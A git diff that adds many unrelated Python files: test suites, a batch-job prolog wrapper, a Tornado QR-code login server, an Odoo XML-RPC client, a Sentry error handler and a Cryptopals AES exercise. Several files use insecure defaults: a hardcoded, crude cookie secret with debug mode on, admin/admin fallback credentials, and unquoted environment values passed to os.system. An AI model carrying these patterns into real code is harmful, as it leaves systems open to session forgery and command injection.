fabricType='DirectAttach') +) + +PARAMS_FOR_ABSENT = dict( + config='config.json', + state='absent', + data=dict(name=DEFAULT_FC_NETWORK_TEMPLATE['name']) +) + + +class FcNetworkModuleSpec(unittest.TestCase, + OneViewBaseTestCase): + """ + OneViewBaseTestCase provides the mocks used in this test case + """ + + def setUp(self): + self.configure_mocks(self, FcNetworkModule) + self.resource = self.mock_ov_client.fc_networks + + def test_should_create_new_fc_network(self): + self.resource.get_by.return_value = [] + self.resource.create.return_value = DEFAULT_FC_NETWORK_TEMPLATE + + self.mock_ansible_module.params = PARAMS_FOR_PRESENT + + FcNetworkModule().run() + + self.mock_ansible_module.exit_json.assert_called_once_with( + changed=True, + msg=FcNetworkModule.MSG_CREATED, + ansible_facts=dict(fc_network=DEFAULT_FC_NETWORK_TEMPLATE) + ) + + def test_should_not_update_when_data_is_equals(self): + self.resource.get_by.return_value = [DEFAULT_FC_NETWORK_TEMPLATE] + + self.mock_ansible_module.params = PARAMS_FOR_PRESENT + + FcNetworkModule().run() + + self.mock_ansible_module.exit_json.assert_called_once_with( + changed=False, + msg=FcNetworkModule.MSG_ALREADY_PRESENT, + ansible_facts=dict(fc_network=DEFAULT_FC_NETWORK_TEMPLATE) + ) + + def test_update_when_data_has_modified_attributes(self): + data_merged = DEFAULT_FC_NETWORK_TEMPLATE.copy() + + data_merged['fabricType'] = 'DirectAttach' + + self.resource.get_by.return_value = [DEFAULT_FC_NETWORK_TEMPLATE] + self.resource.update.return_value = data_merged + + self.mock_ansible_module.params = PARAMS_WITH_CHANGES + + FcNetworkModule().run() + + self.mock_ansible_module.exit_json.assert_called_once_with( + changed=True, + msg=FcNetworkModule.MSG_UPDATED, + ansible_facts=dict(fc_network=data_merged) + ) + + def test_should_remove_fc_network(self): + self.resource.get_by.return_value = [DEFAULT_FC_NETWORK_TEMPLATE] + + self.mock_ansible_module.params = PARAMS_FOR_ABSENT + + FcNetworkModule().run() + + self.mock_ansible_module.exit_json.assert_called_once_with( + changed=True, + msg=FcNetworkModule.MSG_DELETED + ) + + def test_should_do_nothing_when_fc_network_not_exist(self): + self.resource.get_by.return_value = [] + + self.mock_ansible_module.params = PARAMS_FOR_ABSENT + + FcNetworkModule().run() + + self.mock_ansible_module.exit_json.assert_called_once_with( + changed=False, + msg=FcNetworkModule.MSG_ALREADY_ABSENT + ) + + def test_update_scopes_when_different(self): + params_to_scope = PARAMS_FOR_PRESENT.copy() + params_to_scope['data']['scopeUris'] = ['test'] + self.mock_ansible_module.params = params_to_scope + + resource_data = DEFAULT_FC_NETWORK_TEMPLATE.copy() + resource_data['scopeUris'] = ['fake'] + resource_data['uri'] = 'rest/fc/fake' + self.resource.get_by.return_value = [resource_data] + + patch_return = resource_data.copy() + patch_return['scopeUris'] = ['test'] + self.resource.patch.return_value = patch_return + + FcNetworkModule().run() + + self.resource.patch.assert_called_once_with('rest/fc/fake', + operation='replace', + path='/scopeUris', + value=['test']) + + self.mock_ansible_module.exit_json.assert_called_once_with( + changed=True, + ansible_facts=dict(fc_network=patch_return), + msg=FcNetworkModule.MSG_UPDATED + ) + + def test_should_do_nothing_when_scopes_are_the_same(self): + params_to_scope = PARAMS_FOR_PRESENT.copy() + params_to_scope['data']['scopeUris'] = ['test'] + self.mock_ansible_module.params = params_to_scope + + resource_data = DEFAULT_FC_NETWORK_TEMPLATE.copy() + resource_data['scopeUris'] = ['test'] + self.resource.get_by.return_value = [resource_data] + + FcNetworkModule().run() + + self.resource.patch.not_been_called() + + self.mock_ansible_module.exit_json.assert_called_once_with( + changed=False, + ansible_facts=dict(fc_network=resource_data), + msg=FcNetworkModule.MSG_ALREADY_PRESENT + ) diff --git a/pool/shard008/Python/0079193_prolw.py b/pool/shard008/Python/0079193_prolw.py new file mode 100644 index 0000000000000000000000000000000000000000..20079db57fddded851da1c4edcf4ea2aa27c0792 --- /dev/null +++ b/pool/shard008/Python/0079193_prolw.py @@ -0,0 +1,58 @@ +#!/usr/bin/python + +''' +Prolog wrapper for docker images submission to batch systems + +Created on Oct 28, 2015 + +@author: mariojmdavid@gmail.com +''' + +import time +import os +import peUtils + +if __name__ == '__main__': + print '===========================================' + ti = time.time() + param = peUtils.getOptions() + + print 'I am the PROLOG of batch system' + print '-------- The env variables --------' + print os.environ + print '-------- The config param ---------' + print param + print '-----------------------------------' + bs = param['global']['batch_sys'] + comp_home = os.environ[param['global']['comp_home']] + job_id = os.environ[param['global']['job_id']] + # comp_workdir = comp_home + os.sep + 'job_' + job_id + comp_workdir = comp_home + + ''' + try: + os.makedirs(comp_workdir, 755) + except OSError as e: + if e.errno != errno.EEXIST: + raise e + pass + ''' + + # The scp will have to be remodeled, for now just scp + sub_host = os.environ[param['global']['sub_host']] + sub_workdir = os.environ[param['global']['sub_workdir']] + std_in = sub_workdir + os.sep + os.environ['SGEIN1'] + exec_job = os.environ[param['global']['job_script']] + + print '----------- Several things ----------' + print 'Batch system: %s' % bs + print 'Submit host: %s' % sub_host + print 'Submit workdir: %s' % sub_workdir + print 'Compute node workdir: %s' % comp_workdir + print 'Exec script: %s' % exec_job + print '-----------------------------------' + + os.system('scp -r -q %s:%s %s' % (sub_host, std_in, comp_workdir)) + os.system(exec_job) + + print '===========================================' diff --git a/pool/shard008/Python/0079194_utils.py b/pool/shard008/Python/0079194_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..f08fd47ff735d939d37c507b81c13048df0dae25 --- /dev/null +++ b/pool/shard008/Python/0079194_utils.py @@ -0,0 +1,132 @@ +""" +Functions and utility classes for testing. +""" +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals + +import functools +import humanize +import itertools +import os +import signal +import time + +import ga4gh.client as client + + +packageName = 'ga4gh' + + +def getLinesFromLogFile(stream): + stream.flush() + stream.seek(0) + lines = stream.readlines() + return lines + + +def getProjectRootFilePath(): + # assumes we're in a directory one level below the project root + return os.path.dirname(os.path.dirname(__file__)) + + +def getGa4ghFilePath(): + return os.path.join(getProjectRootFilePath(), packageName) + + +def makeHttpClient(): + url = "http://example.com" + debugLevel = 0 + workarounds = set() + key = "KEY" + httpClient = client.HttpClient(url, debugLevel, workarounds, key) + return httpClient + + +def powerset(iterable, maxSets=None): + """ + powerset([1,2,3]) --> () (1,) (2,) (3,) (1,2) (1,3) (2,3) (1,2,3) + + See https://docs.python.org/2/library/itertools.html#recipes + """ + s = list(iterable) + return itertools.islice(itertools.chain.from_iterable( + itertools.combinations(s, r) for r in range(len(s) + 1)), + 0, maxSets) + + +# ---------------- Decorators ---------------- + + +class TimeoutException(Exception): + """ + A process has taken too long to execute + """ + + +class Timed(object): + """ + Decorator that times a method, reporting runtime at finish + """ + def __call__(self, func): + @functools.wraps(func) + def wrapper(*args, **kwargs): + self.start = time.time() + result = func(*args, **kwargs) + self.end = time.time() + self._report() + return result + return wrapper + + def _report(self): + delta = self.end - self.start + timeString = humanize.time.naturaldelta(delta) + print("Finished in {} ({} seconds)".format(timeString, delta)) + + +class Repeat(object): + """ + A decorator to use for repeating a tagged function. + The tagged function should return true if it wants to run again, + and false if it wants to stop repeating. + """ + defaultSleepSeconds = 0.1 + + def __init__(self, sleepSeconds=defaultSleepSeconds): + self.sleepSeconds = sleepSeconds + + def __call__(self, func): + @functools.wraps(func) + def wrapper(*args, **kwargs): + while func(*args, **kwargs): + time.sleep(self.sleepSeconds) + return wrapper + + +class Timeout(object): + """ + A decorator to use for only allowing a function to run + for a limited amount of time + """ + defaultTimeoutSeconds = 60 + + def __init__(self, timeoutSeconds=defaultTimeoutSeconds): + self.timeoutSeconds = timeoutSeconds + + def __call__(self, func): + + def _handle_timeout(signum, frame): + raise TimeoutException() + + @functools.wraps(func) + def wrapper(*args, **kwargs): + try: + # set the alarm and execute func + signal.signal(signal.SIGALRM, _handle_timeout) + signal.alarm(self.timeoutSeconds) + result = func(*args, **kwargs) + finally: + # clear the alarm + signal.alarm(0) + return result + return wrapper diff --git a/pool/shard008/Python/0079206_main.py b/pool/shard008/Python/0079206_main.py new file mode 100644 index 0000000000000000000000000000000000000000..2946a47446eaff0db247e84d528aefc1cecd69bf --- /dev/null +++ b/pool/shard008/Python/0079206_main.py @@ -0,0 +1,150 @@ +# coding=utf-8 +import base64 +import tornado.ioloop +import tornado.web +from tornado.web import _create_signature_v1, _time_independent_equals +import tornado.gen +import tornado.httpclient +import tornado.escape +from tornado.escape import utf8 + +from tornado.concurrent import Future +from qr import get_qrcode +import uuid +import os + + +def create_url_signed_value(secret, value): + signature = _create_signature_v1(secret, value) + token = "-".join([value, signature]) + return token + + +class LoginBuff(object): + + def __init__(self): + self.waiters = {} + + def wait_for_login(self, user_id): + future = Future() + self.waiters[user_id] = future + return future + + def new_login_msg(self, user_id): + if user_id in self.waiters: + self.waiters[user_id].set_result(True) + self.waiters.pop(user_id) + + +global_login_buff = LoginBuff() + + +class BaseHandler(tornado.web.RequestHandler): + + def get_current_user(self): + user_id = self.get_secure_cookie('user_id') + if not user_id: + return None + else: + return user_id + + def decode_url_signed_value(self, token): + token = utf8(token) + parts = utf8(token).split("-") + if len(parts) != 2: + return False + signature = _create_signature_v1(self.application.settings["cookie_secret"], parts[0]) + if not _time_independent_equals(parts[1], signature): + return False + try: + return parts[0] + except Exception: + return False + + +class CellPhoneLoginHandler(BaseHandler): + + def get(self, token): + user_id = self.decode_url_signed_value(token) + if user_id and user_id in global_login_buff.waiters: + self.render('cellphone.html') + else: + self.write('二维码识别错误,请重新扫码') + + def post(self, token): + user_id = self.decode_url_signed_value(token) + if user_id and user_id in global_login_buff.waiters: + global_login_buff.new_login_msg(user_id) + self.write('PC端登录成功!') + else: + self.write('二维码识别错误,请重新扫码') + + +class HelloHandler(BaseHandler): + + @tornado.web.authenticated + def get(self): + self.render('hello.html') + + +class LogoutHandler(BaseHandler): + + def get(self): + self.clear_cookie("user_id") + self.redirect("/pc") + + +class PCLoginRedirectHandler(BaseHandler): + + def get(self): + user_id = uuid.uuid4().get_hex() + token = create_url_signed_value(self.application.settings["cookie_secret"], user_id) + url = '/pc/{0}'.format(token) + self.redirect(url) + + +class PCLoginHandler(BaseHandler): + + def get(self, token): + user_id = self.decode_url_signed_value(token) + if user_id and user_id not in global_login_buff.waiters: + url = 'http://{0}/cellphone/{1}'.format(self.request.host, token) + img_data = get_qrcode(url) + base64_img_data = base64.b64encode(img_data) + self.render('pc.html', base64_img_data=base64_img_data) + else: + self.redirect('/pc') + + @tornado.gen.coroutine + def post(self, token): + user_id = self.decode_url_signed_value(token) + self.user_id = user_id + login_success = yield global_login_buff.wait_for_login(user_id) + if login_success: + self.set_secure_cookie('user_id', user_id) + self.write('ok') + + def on_connection_close(self): + global_login_buff.waiters.pop(self.user_id) + + +application = tornado.web.Application([ + (r"/cellphone/([^/]+)", CellPhoneLoginHandler), + (r"/hello", HelloHandler), + (r"/logout", LogoutHandler), + (r"/pc/([^/]+)", PCLoginHandler), + (r"/pc", PCLoginRedirectHandler), + (r"/", tornado.web.RedirectHandler, {'url': '/pc'}), + ], + template_path=os.path.join(os.path.dirname(__file__), "templates"), + static_path=os.path.join(os.path.dirname(__file__), "static"), + cookie_secret="fuck xi bao zi", + debug=True, + login_url='/pc' +) + +if __name__ == "__main__": + import tornado.options + tornado.options.parse_command_line() + application.listen(8888, '0.0.0.0') + tornado.ioloop.IOLoop.current().start() \ No newline at end of file diff --git a/pool/shard008/Python/0079217_parser.py b/pool/shard008/Python/0079217_parser.py new file mode 100644 index 0000000000000000000000000000000000000000..45d41c2d34c988923e8891e2bea7adf00e954b5f --- /dev/null +++ b/pool/shard008/Python/0079217_parser.py @@ -0,0 +1,45 @@ +import pulsar + +from .pyparser import Parser + + +class ResponseError(pulsar.PulsarException): + pass + + +class InvalidResponse(pulsar.PulsarException): + pass + + +class NoScriptError(ResponseError): + pass + + +EXCEPTION_CLASSES = { + 'ERR': ResponseError, + 'NOSCRIPT': NoScriptError, +} + + +def response_error(response): + "Parse an error response" + response = response.split(' ') + error_code = response[0] + if error_code not in EXCEPTION_CLASSES: + error_code = 'ERR' + response = ' '.join(response[1:]) + return EXCEPTION_CLASSES[error_code](response) + + +PyRedisParser = lambda: Parser(InvalidResponse, response_error) + + +if pulsar.HAS_C_EXTENSIONS: + from pulsar.utils.lib import RedisParser as _RedisParser + RedisParser = lambda: _RedisParser(InvalidResponse, response_error) +else: + RedisParser = PyRedisParser + + +def redis_parser(py_redis_parser=False): + return PyRedisParser if py_redis_parser else RedisParser diff --git a/pool/shard008/Python/0079218_tree_convert.py b/pool/shard008/Python/0079218_tree_convert.py new file mode 100644 index 0000000000000000000000000000000000000000..8112befe9a053db524dcc90b46ef0bda47bcf2f1 --- /dev/null +++ b/pool/shard008/Python/0079218_tree_convert.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python +TAG = "| " +INDENT = 1 + +def level(line): + i = 0 + while line.startswith(TAG): + line = line[4:] + i += 1 + return i + +def strip(line): + return line.replace(TAG, "") + +def parse(lines, start, stop): + if start >= stop: + return + + if ":" in strip(lines[start]): + # has a class label + lev = level(lines[start]) + strs = strip(lines[start]).split(":") + print " "*4*(lev+INDENT) + "if " + strs[0] + ":" + label = strs[1] + label = label[1:label.index("(")-1] + print " "*4*(lev+1+INDENT) + "return \"" + label + "\"" + parse(lines, start+1, stop) + return + + # no class label expend + lev = level(lines[start]) + print " "*4*(lev+INDENT) + "if " + strip(lines[start]) + ":" + + middle = None + for i in xrange(start+1,stop): + if level(lines[i]) == lev: + middle = i + break + if middle == None: + parse(lines, start+1,stop) + # # no else + # print " "*4*lev + "TODO" + # if start+1 < middle: + # parse(lines, start+1, middle) + else: + # with else + parse(lines, start+1, middle) + #print " "*4*lev + "else:" + parse(lines, middle, stop) + +fname = "tree.log" +f = open(fname, "r") +lines = [line.strip() for line in f] +f.close() + +del lines[len(lines) - 1] + +parse(lines, 0, len(lines)) + + + diff --git a/pool/shard008/Python/0079220_odoo.py b/pool/shard008/Python/0079220_odoo.py new file mode 100644 index 0000000000000000000000000000000000000000..64cd267178989c8fd8c254035ec7712ea0b1345a --- /dev/null +++ b/pool/shard008/Python/0079220_odoo.py @@ -0,0 +1,49 @@ +from Products.Five import BrowserView +from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile +from zope.component import getUtility +from plone.registry.interfaces import IRegistry +import xmlrpclib + +from infoporto.odoo.core.interfaces import IOdooSettings + + +class TestView(BrowserView): + template = ViewPageTemplateFile('browser/view.pt') + + def __call__(self): + config = getUtility(IRegistry).forInterface(IOdooSettings) + oo = OdooInstance(config) + return self.template() + + +class OdooInstance(): + + def __init__(self, config=False): + if not config: + config = getUtility(IRegistry).forInterface(IOdooSettings) + + self.host = config.odoo_hostname or 'http://localhost:8069' + self.user = config.odoo_username or 'admin' + self.pwd = config.odoo_password or 'admin' + self.db = config.odoo_database or 'odootest' + + self.connect() + + def connect(self): + sock = xmlrpclib.ServerProxy('%s/xmlrpc/common' % self.host) + self.uid = sock.login(self.db, self.user, self.pwd) + self.sock = xmlrpclib.ServerProxy('%s/xmlrpc/object' % self.host) + + return True + + def search(self, model, filters): + ids = self.sock.execute(self.db, self.uid, self.pwd, model, 'search', filters) + return ids + + def read(self, model, ids, fields): + results = self.sock.execute(self.db, self.uid, self.pwd, model, 'read', ids, fields) + return results + + def create(self, model, data): + result = self.sock.execute(self.db, self.uid, self.pwd, model, 'create', data) + return result diff --git a/pool/shard008/Python/0079222_test_dotted_rendering.py b/pool/shard008/Python/0079222_test_dotted_rendering.py new file mode 100644 index 0000000000000000000000000000000000000000..46b71e76a745fc0f8e325b5748c34f690fc44b10 --- /dev/null +++ b/pool/shard008/Python/0079222_test_dotted_rendering.py @@ -0,0 +1,147 @@ +# -*- coding: utf-8 -*- + +import sys +from nose import SkipTest +from tests.test_stack import TestConfig, app_from_config +from tg.util import Bunch, no_warn +from webtest import TestApp +from tg._compat import PY3, u_, im_func +from tg.configuration import milestones +from tg import expose +from tg.decorators import Decoration + +try: + from tgext.chameleon_genshi import ChameleonGenshiRenderer +except ImportError: + ChameleonGenshiRenderer = None + +def setup_noDB(extra_init=None): + base_config = TestConfig(folder = 'rendering', + values = {'use_sqlalchemy': False, + # we want to test the new renderer functions + 'use_legacy_renderer': False, + # in this test we want dotted names support + 'use_dotted_templatenames': True, + 'use_toscawidgets': False, + 'use_toscawidgets2': False + } + ) + + if extra_init is not None: + extra_init(base_config) + + return app_from_config(base_config) + +def test_default_chameleon_genshi_renderer(): + if ChameleonGenshiRenderer is None: + raise SkipTest() + + def add_chameleon_renderer(app_config): + app_config.register_rendering_engine(ChameleonGenshiRenderer) + app_config.renderers.append('chameleon_genshi') + + app = setup_noDB(add_chameleon_renderer) + + # Manually add the exposition again as it was already discarded + # due to chameleon_genshi not being in the available renderes. + milestones.renderers_ready._reset() + from .controllers.root import RootController + controller = im_func(RootController.chameleon_index_dotted) + expose('chameleon_genshi:tests.test_stack.rendering.templates.index')(controller) + milestones.renderers_ready.reach() + + resp = app.get('/chameleon_index_dotted') + assert "Welcome" in resp, resp + assert "TurboGears" in resp, resp + +def test_default_kajiki_renderer(): + app = setup_noDB() + resp = app.get('/kajiki_index_dotted') + assert "Welcome" in resp, resp + assert "TurboGears" in resp, resp + +def test_kajiki_i18n(): + app = setup_noDB() + resp = app.get('/kajiki_i18n') + assert u_("Your application is now running") in resp + +def test_kajiki_i18n_de(): + app = setup_noDB() + resp = app.get('/kajiki_i18n_de') + assert u_("Ihre Anwendung läuft jetzt einwandfrei") in resp + +def test_kajiki_missing_template(): + app = setup_noDB() + + try: + resp = app.get('/kajiki_missing_template') + except IOError as e: + assert 'missing.xml not found' in str(e) + else: + assert False, 'Should have raised IOError' + +def test_jinja_dotted(): + app = setup_noDB() + resp = app.get('/jinja_dotted') + assert "move along, nothing to see here" in resp, resp + +def test_jinja_inherits_dotted(): + app = setup_noDB() + resp = app.get('/jinja_inherits_dotted') + assert "Welcome on my awsome homepage" in resp, resp + +def test_jinja_inherits_mixed(): + # Mixed notation, dotted and regular + app = setup_noDB() + resp = app.get('/jinja_inherits_mixed') + assert "Welcome on my awsome homepage" in resp, resp + +def test_jinja_i18n(): + app = setup_noDB() + resp = app.get('/jinja_i18n', status=200) + +def test_jinja_i18n_en(): + app = setup_noDB() + resp = app.get('/jinja_i18n_en') + assert "Your application is now running" in resp + +def test_jinja_i18n_de(): + app = setup_noDB() + resp = app.get('/jinja_i18n_de') + assert u_("Ihre Anwendung läuft jetzt einwandfrei") in resp + +def test_default_genshi_renderer(): + app = setup_noDB() + resp = app.get('/index_dotted') + assert "Welcome" in resp, resp + assert "TurboGears" in resp, resp + +def test_genshi_inheritance(): + app = setup_noDB() + resp = app.get('/genshi_inherits_dotted') + assert "Inheritance template" in resp, resp + assert "Master template" in resp, resp + +def test_genshi_sub_inheritance(): + app = setup_noDB() + resp = app.get('/genshi_inherits_sub_dotted') + assert "Inheritance template" in resp, resp + assert "Master template" in resp, resp + assert "from sub-template: sub.tobeincluded" in resp, resp + +def test_genshi_sub_inheritance_frombottom(): + app = setup_noDB() + resp = app.get('/genshi_inherits_sub_dotted_from_bottom') + assert "Master template" in resp, resp + assert "from sub-template: sub.frombottom_dotted" in resp, resp + +def test_mako_renderer(): + app = setup_noDB() + resp = app.get('/mako_index_dotted') + assert "

This is the mako index page

" in resp, resp + +def test_mako_inheritance(): + app = setup_noDB() + resp = app.get('/mako_inherits_dotted') + assert "inherited mako page" in resp, resp + assert "Inside parent template" in resp, resp diff --git a/pool/shard008/Python/0079223_0004_auto_20150427_0129.py b/pool/shard008/Python/0079223_0004_auto_20150427_0129.py new file mode 100644 index 0000000000000000000000000000000000000000..8d2df5acbfc4b86fa33ab7fc0d193a0b7b30f678 --- /dev/null +++ b/pool/shard008/Python/0079223_0004_auto_20150427_0129.py @@ -0,0 +1,21 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import models, migrations +import datetime +from django.utils.timezone import utc + + +class Migration(migrations.Migration): + + dependencies = [ + ('secure_witness', '0003_auto_20150426_1451'), + ] + + operations = [ + migrations.AlterField( + model_name='userprofile', + name='key_expires', + field=models.DateTimeField(default=datetime.datetime(2015, 4, 27, 1, 29, 27, 682973, tzinfo=utc)), + ), + ] diff --git a/pool/shard008/Python/0079228_sentry.py b/pool/shard008/Python/0079228_sentry.py new file mode 100644 index 0000000000000000000000000000000000000000..3f082c48b51cf2dfe242b952fa5726f3b8fe6495 --- /dev/null +++ b/pool/shard008/Python/0079228_sentry.py @@ -0,0 +1,87 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +# thumbor imaging service +# https://github.com/thumbor/thumbor/wiki + +# Licensed under the MIT license: +# http://www.opensource.org/licenses/mit-license +# Copyright (c) 2011 globo.com thumbor@googlegroups.com + +import pkgutil +import pkg_resources + +from thumbor import __version__ + +try: + basestring # Python 2 +except NameError: + basestring = str # Python 3 + + +class ErrorHandler(object): + def __init__(self, config, client=None): + import raven + + dsn = config.SENTRY_DSN_URL + if not dsn: + raise RuntimeError( + "If you set USE_CUSTOM_ERROR_HANDLING to True, and you are using thumbor.error_handlers.sentry, " + + "then you must specify the Sentry DSN using the SENTRY_DSN_URL configuration." + ) + + self.sentry = client or raven.Client(dsn) + self.modules = self.get_modules() + + def get_modules(self): + resolved = {} + for _, module, _ in pkgutil.iter_modules(): + try: + res_mod = pkg_resources.get_distribution(module) + if res_mod is not None: + resolved[module] = res_mod.version + except Exception: + pass + + return resolved + + def handle_error(self, context, handler, exception): + req = handler.request + + extra = { + 'thumbor-version': __version__ + } + + extra.update({ + 'Headers': req.headers + }) + + cookies_header = extra.get('Headers', {}).get('Cookie', {}) + + if isinstance(cookies_header, basestring): + cookies = {} + for cookie in cookies_header.split(';'): + if not cookie: + continue + values = cookie.strip().split('=') + key, val = values[0], "".join(values[1:]) + cookies[key] = val + else: + cookies = cookies_header + + extra['Headers']['Cookie'] = cookies + + data = { + 'sentry.interfaces.Http': { + 'url': req.full_url(), + 'method': req.method, + 'data': req.arguments, + 'body': req.body, + 'query_string': req.query + }, + 'sentry.interfaces.User': { + 'ip': req.remote_ip, + }, + 'modules': self.modules + } + self.sentry.captureException(exception, extra=extra, data=data) diff --git a/pool/shard008/Python/0079233_p7.py b/pool/shard008/Python/0079233_p7.py new file mode 100644 index 0000000000000000000000000000000000000000..6bc14314b7c08d759ed9867b258d0d2da9b2b143 --- /dev/null +++ b/pool/shard008/Python/0079233_p7.py @@ -0,0 +1,16 @@ +from Crypto.Cipher import AES + +def main(): + """Main.""" + + with open('p7_problem.txt', 'r') as f: + data = f.read() + code = data.decode('base64') + + key = 'YELLOW SUBMARINE' + decryptor = AES.new(key, AES.MODE_ECB) + print decryptor.decrypt(code) + print 'p7 ok' + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0079234_crontab.py b/pool/shard008/Python/0079234_crontab.py new file mode 100644 index 0000000000000000000000000000000000000000..09ba8091cd28be65ec5fa3b801b0b7fc702e9a09 --- /dev/null +++ b/pool/shard008/Python/0079234_crontab.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +# coding:UTF8 +# author:zhaohui mail:zhaohui-sol@foxmail.com + +import sys +import socket +import logging +from flower.models import Sensor +from django_cron import CronJobBase, Schedule + +reload(sys).setdefaultencoding('utf8') + + +class SensorFetcher(CronJobBase): + RUN_EVERY_MINS = 1 + schedule = Schedule(run_every_mins=RUN_EVERY_MINS) + code = 'home.flower.sensorfetcher' + + def do(self): + Sensor.valve(0) diff --git a/pool/shard008/Python/0079236_progan128.py b/pool/shard008/Python/0079236_progan128.py new file mode 100644 index 0000000000000000000000000000000000000000..1b1c08cbeac20c497950805fd17b6dd6b33043d2 --- /dev/null +++ b/pool/shard008/Python/0079236_progan128.py @@ -0,0 +1,60 @@ +import numpy as np +import tensorflow as tf +import tensorflow_hub as hub + +class Model: + def __init__(self, filename=None, model=None): + """ + """ + self.decoder = hub.Module("https://tfhub.dev/google/progan-128/1") + self.session = None + + def get_session(self): + if self.session is None: + self.session = tf.Session() + self.session.run(tf.global_variables_initializer()) + return self.session + + def encode_images(self, images): + """ + Encode images x => z + + images is an n x 3 x s x s numpy array where: + n = number of images + 3 = R G B channels + s = size of image (eg: 64, 128, etc) + pixels values for each channel are encoded [0,1] + + returns an n x z numpy array where: + n = len(images) + z = dimension of latent space + """ + # todo + pass + + def get_zdim(self): + """ + Returns the integer dimension of the latent z space + """ + return self.decoder.get_input_info_dict()['latent_vector'].get_shape()[1] + + def sample_at(self, z): + """ + Decode images z => x + + z is an n x z numpy array where: + n = len(images) + z = dimension of latent space + + return images as an n x 3 x s x s numpy array where: + n = number of images + 3 = R G B channels + s = size of image (eg: 64, 128, etc) + pixels values for each channel are encoded [0,1] + """ + decoded_fn = self.decoder(z) + decoded = self.get_session().run(decoded_fn) + # print(decoded.shape) + channel_first = np.rollaxis(decoded, 3, 1) + # print(channel_first.shape) + return channel_first diff --git a/pool/shard008/Python/0079238_testing.py b/pool/shard008/Python/0079238_testing.py new file mode 100644 index 0000000000000000000000000000000000000000..9785ba97e60f554fa533af5109f9485d5b322e95 --- /dev/null +++ b/pool/shard008/Python/0079238_testing.py @@ -0,0 +1,66 @@ +import unittest +import os +import logging +logging.basicConfig(level=logging.INFO) + +from SwaggerToSdk import * +from credentials import GH_TOKEN + +class TestSwaggerToSDK(unittest.TestCase): + + def setUp(self): + pass + + def tearDown(self): + for key in list(os.environ.keys()): + if key.startswith('TRAVIS'): + del os.environ[key] + + @unittest.skip + def test_get_pr_from_travis_commit_sha(self): + os.environ['TRAVIS_REPO_SLUG'] = 'Azure/azure-sdk-for-python' + os.environ['TRAVIS_COMMIT'] = '497955507bc152c444bd1785f34cafefc7e4e8d9' + pr_obj = get_pr_from_travis_commit_sha(GH_TOKEN) + self.assertIsNotNone(pr_obj) + self.assertEqual(pr_obj.number, 568) + + os.environ['TRAVIS_COMMIT'] = 'c290e668f17b45be6619f9133c0f15af19144280' + pr_obj = get_pr_from_travis_commit_sha(GH_TOKEN) + self.assertIsNone(pr_obj) + + @unittest.skip + def test_download_autorest(self): + with tempfile.TemporaryDirectory() as temp_dir: + exe_path = download_install_autorest(temp_dir) + self.assertTrue(exe_path.lower().endswith("autorest.exe")) + + with tempfile.TemporaryDirectory() as temp_dir: + exe_path = download_install_autorest(temp_dir, "0.16.0-Nightly20160410") + self.assertTrue(exe_path.lower().endswith("autorest.exe")) + + with tempfile.TemporaryDirectory() as temp_dir: + with self.assertRaises(ValueError): + exe_path = download_install_autorest(temp_dir, "0.16.0-FakePackage") + + def test_build_autorest_options(self): + line = build_autorest_options("Python", {"A": "value"}, {"B": "value"}) + self.assertEqual(line, "-A value -B value -CodeGenerator Azure.Python") + + line = build_autorest_options("Python", {"A": "value"}, {"A": "newvalue"}) + self.assertEqual(line, "-A newvalue -CodeGenerator Azure.Python") + + line = build_autorest_options("Python", {"CodeGenerator": "NodeJS"}, {}) + self.assertEqual(line, "-CodeGenerator NodeJS") + + line = build_autorest_options("Python", {"CodeGenerator": "NodeJS"}, {"CodeGenerator": "CSharp"}) + self.assertEqual(line, "-CodeGenerator CSharp") + + line = build_autorest_options("Python", {}, {}) + self.assertEqual(line, "-CodeGenerator Azure.Python") + + line = build_autorest_options("Python", {"A": 12, "B": True}) + self.assertEqual(line, "-A 12 -B True -CodeGenerator Azure.Python") + + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/pool/shard008/Python/0079241_token.py b/pool/shard008/Python/0079241_token.py new file mode 100644 index 0000000000000000000000000000000000000000..e33224d5cd29114f70f6f79e657d223e9135ef53 --- /dev/null +++ b/pool/shard008/Python/0079241_token.py @@ -0,0 +1,13 @@ +from django.contrib.auth.decorators import login_required +from django.http import HttpResponse +from django.template import loader +from django.views.decorators.http import require_http_methods + +from ..views.bases.register import register + +@register(r'^backend/token$') +@login_required +@require_http_methods(["GET"]) +def get(request): + template=loader.get_template('base/token.html') + return HttpResponse(template.render({},request)) diff --git a/pool/shard008/Python/0079249_test_base.py b/pool/shard008/Python/0079249_test_base.py new file mode 100644 index 0000000000000000000000000000000000000000..e2a06e58d9eea9f6f7f6a0480e1a02bbe2c5a0d9 --- /dev/null +++ b/pool/shard008/Python/0079249_test_base.py @@ -0,0 +1,234 @@ +# Author: Gael Varoquaux +# License: BSD 3 clause + +import numpy as np +import scipy.sparse as sp + +from sklearn.utils.testing import assert_array_equal +from sklearn.utils.testing import assert_true +from sklearn.utils.testing import assert_false +from sklearn.utils.testing import assert_equal +from sklearn.utils.testing import assert_not_equal +from sklearn.utils.testing import assert_raises + +from sklearn.base import BaseEstimator, clone, is_classifier +from sklearn.svm import SVC +from sklearn.pipeline import Pipeline +from sklearn.grid_search import GridSearchCV +from sklearn.utils import deprecated + + +############################################################################# +# A few test classes +class MyEstimator(BaseEstimator): + + def __init__(self, l1=0, empty=None): + self.l1 = l1 + self.empty = empty + + +class K(BaseEstimator): + def __init__(self, c=None, d=None): + self.c = c + self.d = d + + +class T(BaseEstimator): + def __init__(self, a=None, b=None): + self.a = a + self.b = b + + +class DeprecatedAttributeEstimator(BaseEstimator): + def __init__(self, a=None, b=None): + self.a = a + if b is not None: + DeprecationWarning("b is deprecated and renamed 'a'") + self.a = b + + @property + @deprecated("Parameter 'b' is deprecated and renamed to 'a'") + def b(self): + return self._b + + +class Buggy(BaseEstimator): + " A buggy estimator that does not set its parameters right. " + + def __init__(self, a=None): + self.a = 1 + + +class NoEstimator(object): + def __init__(self): + pass + + def fit(self, X=None, y=None): + return self + + def predict(self, X=None): + return None + + +class VargEstimator(BaseEstimator): + """Sklearn estimators shouldn't have vargs.""" + def __init__(self, *vargs): + pass + + +############################################################################# +# The tests + +def test_clone(): + # Tests that clone creates a correct deep copy. + # We create an estimator, make a copy of its 